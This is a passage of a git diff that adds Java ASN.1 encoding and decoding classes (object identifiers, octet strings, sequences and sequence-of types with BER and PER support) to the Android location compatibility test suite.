+ public abstract Iterable<BitStream> encodePerUnaligned();
+
+ /**
+ * This method should only be called on a newly created instance to avoid
+ * having residue state in it.
+ */
+ public abstract void decodePerUnaligned(BitStreamReader reader);
+
+
+ /**
+ * This method should only be called on a newly created instance to avoid
+ * having residue state in it.
+ */
+ public abstract void decodePerAligned(BitStreamReader reader);
+
+ public String toIndentedString(String indent) {
+ return indent + toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java
new file mode 100644
index 0000000..946b9a4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+
+/**
+ * Object identifiers are similar in concept to URIs (indeed
+ * urn:oid:0.0.8.245.0.13 is the OID URI for "itu-t(0) recommendation(0) h(8)
+ * 245 version(0) 13"). See, for example, http://www.alvestrand.no/objectid/ and
+ * http://www.oid-info.com/
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1ObjectIdentifier extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.OBJECT_IDENTIFIER);
+
+ private List<Integer> value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.OBJECT_IDENTIFIER;
+ }
+
+ @Override int getBerValueLength() {
+ byte[] ber = encodeBerInternal();
+ return ber.length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ buf.put(encodeBerInternal());
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ decodeBerInternal(getRemaining(buf));
+ }
+
+ public List<Integer> getValue() {
+ return value;
+ }
+
+ public void setValue(List<Integer> value) {
+ this.value = value;
+ }
+
+ private byte[] encodeBerInternal() {
+ Preconditions.checkNotNull(value);
+ // Encode according to BER.
+ BitStream basicEncoding = new BitStream();
+ Iterator<Integer> valueIterator = value.iterator();
+ int firstComponent = valueIterator.next() * 40 + valueIterator.next();
+ encodeComponent(basicEncoding, firstComponent, false);
+ while (valueIterator.hasNext()) {
+ encodeComponent(basicEncoding, valueIterator.next(), false);
+ }
+ return basicEncoding.getPaddedBytes();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ // Stuff it according to PER. Strange, less packed (but faster to ignore).
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ // Stuff it according to PER. Strange, less packed (but faster to ignore).
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
+ }
+
+ private void encodeComponent(BitStream basicEncoding,
+ int component,
+ boolean hasSuffix) {
+ if (component > 0x7F) {
+ encodeComponent(basicEncoding, component >>> 7, true);
+ }
+ basicEncoding.appendBit(hasSuffix);
+ basicEncoding.appendLowBits(7, (byte) (component & 0x7F));
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ byte[] basicEncoding = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ decodeBerInternal(basicEncoding);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ byte[] basicEncoding = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ decodeBerInternal(basicEncoding);
+ }
+
+ private void decodeBerInternal(byte[] encodedBytes) {
+ List<Integer> components = Lists.newLinkedList();
+ int currentComponent = 0;
+ for (int i = 0; i < encodedBytes.length; i++) {
+ boolean completesComponent = ((encodedBytes[i] & 0x80) == 0);
+ int componentPart = encodedBytes[i] & 0x7F;
+ currentComponent = (currentComponent << 7) + componentPart;
+ if (completesComponent) {
+ if (components.isEmpty()) {
+ int firstComponent = currentComponent / 40;
+ int secondComponent = currentComponent % 40;
+ components.add(firstComponent);
+ components.add(secondComponent);
+ } else {
+ components.add(currentComponent);
+ }
+ currentComponent = 0;
+ }
+ }
+ value = ImmutableList.copyOf(components);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java
new file mode 100644
index 0000000..c47f739
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.io.BaseEncoding;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1OctetString extends Asn1Object {
+ private static final BaseEncoding HEX = BaseEncoding.base16();
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.OCTET_STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private byte[] value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public byte[] getValue() {
+ return value;
+ }
+
+ public void setValue(byte[] value) {
+ this.value = value;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.OCTET_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Preconditions.checkNotNull(value, "No value set.");
+ return value.length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Preconditions.checkNotNull(value, "No value set.");
+ buf.put(value);
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ value = getRemaining(buf);
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length <= maximumSize, "Too large %s",
+ value.length);
+ if (maximumSize == null) {
+ if (aligned) {
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(value);
+ } else {
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value);
+ }
+ } else if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return ImmutableList.of();
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ BitStream result = new BitStream();
+ for (int i = 0; i < maximumSize; i++) {
+ result.appendByte(value[i]);
+ }
+ if (aligned && maximumSize > 2) {
+ result.setBeginByteAligned();
+ }
+ return ImmutableList.of(result);
+ }
+ }
+ if (aligned) {
+ return PerAlignedUtils.encodeConstrainedLengthOfBytes(
+ value, minimumSize, maximumSize);
+ } else {
+ return PerUnalignedUtils.encodeConstrainedLengthOfBytes(
+ value, minimumSize, maximumSize);
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (maximumSize == null) {
+ if (aligned) {
+ value = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ } else {
+ value = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ return;
+ } else if (minimumSize == maximumSize) {
+ value = new byte[maximumSize];
+ if (maximumSize == 0) {
+ return;
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize > 2) {
+ reader.spoolToByteBoundary();
+ }
+ for (int i = 0; i < maximumSize; i++) {
+ value[i] = reader.readByte();
+ }
+ return;
+ }
+ }
+ if (aligned) {
+ value = PerAlignedUtils.decodeConstrainedLengthOfBytes(
+ reader, minimumSize, maximumSize);
+ } else {
+ value = PerUnalignedUtils.decodeConstrainedLengthOfBytes(
+ reader, minimumSize, maximumSize);
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return getTypeName() + " = [ " + (value == null ? "<null>" : HEX.encode(value)) + " ];\n";
+ }
+
+ protected String getTypeName() {
+ return "";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java
new file mode 100644
index 0000000..379c594
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ */
+public class Asn1ParameterObject extends Asn1Object {
+
+ private Asn1Object realObject;
+
+ protected Asn1Object getRealObject() {
+ return realObject;
+ }
+
+ protected void setRealObject(Asn1Object realObject) {
+ this.realObject = realObject;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException("Not implemented for BER");
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ throw new UnsupportedOperationException("Not implemented for BER");
+ }
+
+ @Override int getBerValueLength() {
+ throw new UnsupportedOperationException("Not implemented for BER");
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException("Not implemented for BER");
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException("Not implemented for BER");
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return realObject.encodePerUnaligned();
+ }
+
+ @Override
+ public Iterable<BitStream> encodePerAligned() {
+ return realObject.encodePerAligned();
+ }
+
+ @Override
+ public void decodePerUnaligned(BitStreamReader reader) {
+ realObject.decodePerUnaligned(reader);
+ }
+
+ @Override
+ public void decodePerAligned(BitStreamReader reader) {
+ realObject.decodePerAligned(reader);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java
new file mode 100644
index 0000000..20e3e57
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.Collection;
+
+/**
+ * A printable string is a subset of US-ASCII, with character set defined in
+ * ITU-T Rec. X.680-0207, 39.7
+ *
+ * <p>Implements ASN.1 functionality.
+ *
+ */
+public class Asn1PrintableString extends Asn1IA5String {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.PRINTABLE_STRING);
+
+ static final String PRINTABLE_ALPHABET = " '()+,-./0123456789:=?"
+ + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ + "abcdefghijklmnopqrstuvwxyz";
+
+ public Asn1PrintableString() {
+ super();
+ setAlphabet(PRINTABLE_ALPHABET);
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.PRINTABLE_STRING;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java
new file mode 100644
index 0000000..c88aa05
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java
@@ -0,0 +1,361 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.NoSuchElementException;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public abstract class Asn1Sequence extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.SEQUENCE);
+
+ protected abstract boolean isExtensible();
+
+ protected abstract boolean containsExtensionValues();
+
+ protected abstract Iterable<? extends SequenceComponent> getComponents();
+
+ protected abstract Iterable<? extends SequenceComponent> getExtensionComponents();
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.SEQUENCE;
+ }
+
+ @Override boolean isConstructed() {
+ return true;
+ }
+
+ @Override
+ public int getBerValueLength() {
+ int length = 0;
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ Asn1Tag tag = component.getTag();
+ Asn1Object value = component.getComponentValue();
+ if (tag == null) {
+ length += value.getBerLength();
+ } else {
+ int valueLen = component.isImplicitTagging()
+ ? value.getBerValueLength() : value.getBerLength();
+ length += tag.getTaggedLength(valueLen);
+ }
+ }
+ }
+ return length;
+ }
+
+ @Override
+ public void encodeBerValue(ByteBuffer buf) {
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ Asn1Object obj = component.getComponentValue();
+ Asn1Tag componentTag = component.getTag();
+ if (componentTag == null) {
+ obj.encodeBer(buf);
+ } else {
+ if (component.isImplicitTagging()) {
+ componentTag.writeTagAndLength(buf, obj.isConstructed(), obj.getBerValueLength());
+ obj.encodeBerValue(buf);
+ } else {
+ componentTag.writeTagAndLength(buf, true, obj.getBerLength());
+ obj.encodeBer(buf);
+ }
+ }
+ } else if (!component.isOptional() && !component.hasDefaultValue()) {
+ throw new IllegalStateException("Mandatory component "
+ + component.getClass().getName()
+ + " not set.");
+ }
+ }
+ }
+
+ @Override
+ public void decodeBerValue(ByteBuffer buf) {
+ Iterable<? extends SequenceComponent> components = getComponents();
+
+ while (buf.hasRemaining()) {
+ int bufStartPos = buf.position();
+ int bufEndPos = buf.limit();
+ Asn1Tag tag = Asn1Tag.readTag(buf);
+ SequenceComponent component = getComponent(components, tag);
+ if (component.isExplicitlySet()) {
+ throw new IllegalArgumentException("Encountered duplicate field");
+ }
+ component.setToNewInstance();
+ int valueLength = Asn1Tag.readLength(buf);
+ buf.limit(buf.position() + valueLength);
+ if (component.getTag() != null) {
+ if (component.isImplicitTagging()) {
+ component.getComponentValue().decodeBerValue(buf);
+ } else {
+ component.getComponentValue().decodeBer(buf);
+ }
+ } else {
+ buf.position(bufStartPos); // rewind to before tag
+ component.getComponentValue().decodeBer(buf);
+ }
+ buf.limit(bufEndPos); // set the limit back to the real end position
+ }
+
+ checkMandatoryFieldsPresent(components);
+ }
+
+ /**
+ * Throws {@link IllegalArgumentException} if all mandatory fields not set on this sequence.
+ */
+ private void checkMandatoryFieldsPresent(Iterable<? extends SequenceComponent> components) {
+ for (SequenceComponent component : components) {
+ if (!component.isOptional() && !component.isExplicitlySet()) {
+ throw new IllegalArgumentException("Mandatory field not present");
+ }
+ }
+ }
+
+ /**
+ * Returns the child component that can start with the specified tag.
+ * @throws NoSuchElementException if no child component can start with the tag
+ */
+ private SequenceComponent getComponent(Iterable<? extends SequenceComponent> components,
+ Asn1Tag tag) {
+ for (SequenceComponent component : components) {
+ if (component.getPossibleFirstTags().contains(tag)) {
+ return component;
+ }
+ }
+ throw new NoSuchElementException("SEQUENCE=" + this + ", tag=" + tag);
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ ImmutableList.Builder<BitStream> listBuilder = ImmutableList.builder();
+ BitStream prefix = new BitStream();
+
+ if (isExtensible()) {
+ prefix.appendBit(containsExtensionValues());
+ }
+
+ Iterable<? extends SequenceComponent> components = getComponents();
+ int bitFieldSize = calculateBitFieldSize(components);
+ if (bitFieldSize >= PerAlignedUtils.SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("unimplemented");
+ }
+ for (SequenceComponent component : components) {
+ if (component.isOptional() || component.hasDefaultValue()) {
+ prefix.appendBit(component.isExplicitlySet());
+ } else if (!component.isExplicitlySet()) {
+ throw new IllegalStateException("Mandatory component "
+ + component.getClass().getName()
+ + " not set.");
+ }
+ }
+ listBuilder.add(prefix);
+
+ for (SequenceComponent component : components) {
+ if (component.isExplicitlySet()) {
+ Asn1Object value = component.getComponentValue();
+ Iterable<BitStream> encodedValue = null;
+ if (aligned) {
+ encodedValue = value.encodePerAligned();
+ } else {
+ encodedValue = value.encodePerUnaligned();
+ }
+ listBuilder.addAll(encodedValue);
+ }
+ }
+
+ if (isExtensible() && containsExtensionValues()) {
+ Iterable<? extends SequenceComponent> extensionComponents =
+ getExtensionComponents();
+ BitStream extensions = new BitStream();
+ int extensionBitFieldSize = 0;
+ /*
+ * Adding a bit marker per extension addition as ITU spec, however some
+ * H323 implementations seem to only add markers up to the last set
+ * extension.
+ */
+ for (SequenceComponent component : extensionComponents) {
+ if (!component.isOptional() && !component.isExplicitlySet()) {
+ throw new IllegalStateException("Mandatory extension component "
+ + component.getClass().getName()
+ + " not set.");
+ }
+ extensions.appendBit(component.isExplicitlySet());
+ extensionBitFieldSize++;
+ }
+ if (extensionBitFieldSize <= 64) {
+ //encode length to x.691-0207 10.9.3.4 (i.e. length -1)
+ BitStream lengthDeterminant = new BitStream();
+ lengthDeterminant.appendBit(false);
+ lengthDeterminant.appendLowBits(6, (byte) (extensionBitFieldSize - 1));
+ listBuilder.add(lengthDeterminant);
+ } else {
+ BitStream marker = new BitStream();
+ marker.appendBit(true);
+ listBuilder.add(marker);
+ BitStream lengthDeterminant = null;
+ if (aligned) {
+ lengthDeterminant =
+ PerAlignedUtils.encodeSemiConstrainedLength(extensionBitFieldSize);
+ lengthDeterminant.setBeginByteAligned();
+ } else {
+ lengthDeterminant =
+ PerUnalignedUtils.encodeSemiConstrainedLength(extensionBitFieldSize);
+ }
+ listBuilder.add(lengthDeterminant);
+ }
+ listBuilder.add(extensions);
+ for (SequenceComponent component : extensionComponents) {
+ if (component.isExplicitlySet()) {
+ Iterable<BitStream> extensionValues = null;
+ if (aligned) {
+ extensionValues = PerAlignedUtils.
+ encodeOpenTypeField(component.getComponentValue());
+ } else {
+ extensionValues = PerUnalignedUtils.encodeOpenTypeField(component.getComponentValue());
+ }
+ listBuilder.addAll(extensionValues);
+ }
+ }
+ }
+ return listBuilder.build();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override
+ public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private int calculateBitFieldSize(
+ Iterable<? extends SequenceComponent> components) {
+ int bitFieldSize = 0;
+ for (SequenceComponent component : components) {
+ if (component.isOptional() || component.hasDefaultValue()) {
+ bitFieldSize++;
+ }
+ }
+ return bitFieldSize;
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ boolean hasExtensionValuesToDecode = false;
+ if (isExtensible()) {
+ hasExtensionValuesToDecode = reader.readBit();
+ }
+
+ Iterable<? extends SequenceComponent> components = getComponents();
+ int bitFieldSize = calculateBitFieldSize(components);
+ if (bitFieldSize >= PerAlignedUtils.SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("unimplemented");
+ }
+ for (SequenceComponent component : components) {
+ if (component.isOptional() || component.hasDefaultValue()) {
+ if (reader.readBit()) {
+ component.setToNewInstance();
+ }
+ } else {
+ component.setToNewInstance();
+ }
+ }
+
+ for (SequenceComponent component : components) {
+ if (component.isExplicitlySet()) {
+ if (aligned) {
+ component.getComponentValue().decodePerAligned(reader);
+ } else {
+ component.getComponentValue().decodePerUnaligned(reader);
+ }
+ }
+ }
+
+ if (hasExtensionValuesToDecode) {
+ Iterable<? extends SequenceComponent> extensionComponents =
+ getExtensionComponents();
+ int extensionBitFieldSize;
+ if (reader.readBit()) {
+ if (aligned) {
+ reader.spoolToByteBoundary();
+ extensionBitFieldSize =
+ PerAlignedUtils.decodeSemiConstrainedLength(reader);
+ } else {
+ extensionBitFieldSize =
+ PerUnalignedUtils.decodeSemiConstrainedLength(reader);
+ }
+ } else {
+ extensionBitFieldSize = 1 + reader.readLowBits(6);
+ }
+ for (SequenceComponent component : extensionComponents) {
+ if (extensionBitFieldSize > 0) {
+ --extensionBitFieldSize;
+ if (reader.readBit()) {
+ component.setToNewInstance();
+ }
+ }
+ }
+ int unknownExtensionCount = 0;
+ for (; extensionBitFieldSize > 0; --extensionBitFieldSize) {
+ if (reader.readBit()) {
+ ++unknownExtensionCount;
+ }
+ }
+ for (SequenceComponent component : extensionComponents) {
+ if (component.isExplicitlySet()) {
+ if (aligned) {
+ byte[] encodedComponent =
+ PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ component.getComponentValue().decodePerAligned(new BitStreamReader(encodedComponent));
+ } else {
+ byte[] encodedComponent =
+ PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ component.getComponentValue().decodePerUnaligned(new BitStreamReader(encodedComponent));
+ }
+ }
+ }
+ for (; unknownExtensionCount > 0; --unknownExtensionCount) {
+ if (aligned) {
+ byte[] unknownEncodedExtension =
+ PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ } else {
+ byte[] unknownEncodedExtension =
+ PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ }
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
+
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java
new file mode 100644
index 0000000..ffa12fb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.LinkedList;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public abstract class Asn1SequenceOf<T extends Asn1Object> extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.SEQUENCE);
+
+ protected LinkedList<T> sequence = new LinkedList<T>();
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null is unbounded.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public void add(T component) {
+ sequence.addLast(component);
+ }
+
+ public Iterable<T> getValues() {
+ return sequence;
+ }
+
+ public abstract T createAndAddValue();
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.SEQUENCE;
+ }
+
+ @Override boolean isConstructed() {
+ return true;
+ }
+
+ @Override int getBerValueLength() {
+ int length = 0;
+ for (Asn1Object component : sequence) {
+ length += component.getBerLength();
+ }
+ return length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ for (Asn1Object component : sequence) {
+ component.encodeBer(buf);
+ }
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ while (buf.hasRemaining()) {
+ Asn1Tag tag = Asn1Tag.readTag(buf);
+ int valueLength = Asn1Tag.readLength(buf);
+ T value = createAndAddValue();
+ if (value.getTag() != null) {
+ checkTag(tag, value.getTag());
+ if (!value.isTagImplicit()) {
+ // read inner tag + length
+ checkTag(value.getDefaultTag(), Asn1Tag.readTag(buf));
+ valueLength = Asn1Tag.readLength(buf);
+ }
+ } else {
+ checkTag(tag, value.getDefaultTag());
+ }
+ ByteBuffer subBuf = ByteBuffer.wrap(buf.array(), buf.position(), valueLength);
+ value.decodeBerValue(subBuf);
+ if (subBuf.hasRemaining()) {
+ throw new IllegalArgumentException("child failed to consume all input");
+ }
+ buf.position(buf.position() + valueLength);
+ }
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkState(sequence.size() >= minimumSize,
+ "Too few components.");
+ Preconditions.checkState(maximumSize == null
+ || sequence.size() <= maximumSize,
+ "Too many components.");
+ ImmutableList.Builder<BitStream> listBuilder = ImmutableList.builder();
+ if (maximumSize == null || maximumSize >= PerAlignedUtils.SIXTYFOUR_K) {
+ if (aligned) {
+ listBuilder.add(PerAlignedUtils.encodeSemiConstrainedLength(sequence.size()));
+ } else {
+ listBuilder.add(PerUnalignedUtils.encodeSemiConstrainedLength(sequence.size()));
+ }
+ } else if (maximumSize != minimumSize) {
+ if (aligned) {
+ listBuilder.add(
+ PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ sequence.size(), minimumSize, maximumSize));
+ } else {
+ listBuilder.add(
+ PerUnalignedUtils.encodeConstrainedWholeNumber(
+ sequence.size(), minimumSize, maximumSize));
+ }
+ }
+ for (Asn1Object component : sequence) {
+ if (aligned) {
+ listBuilder.addAll(component.encodePerAligned());
+ } else {
+ listBuilder.addAll(component.encodePerUnaligned());
+ }
+ }
+ return listBuilder.build();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ int size = minimumSize;
+ if (maximumSize == null || maximumSize >= PerAlignedUtils.SIXTYFOUR_K) {
+ if (aligned) {
+ size = PerAlignedUtils.decodeSemiConstrainedLength(reader);
+ } else {
+ size = PerUnalignedUtils.decodeSemiConstrainedLength(reader);
+ }
+ } else if (maximumSize != minimumSize) {
+ if (aligned) {
+ size = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ size = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+ }
+ for (int i = 0; i < size; i++) {
+ T value = createAndAddValue();
+ if (aligned) {
+ value.decodePerAligned(reader);
+ } else {
+ value.decodePerUnaligned(reader);
+ }
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java
new file mode 100644
index 0000000..3798685
--- /dev/null
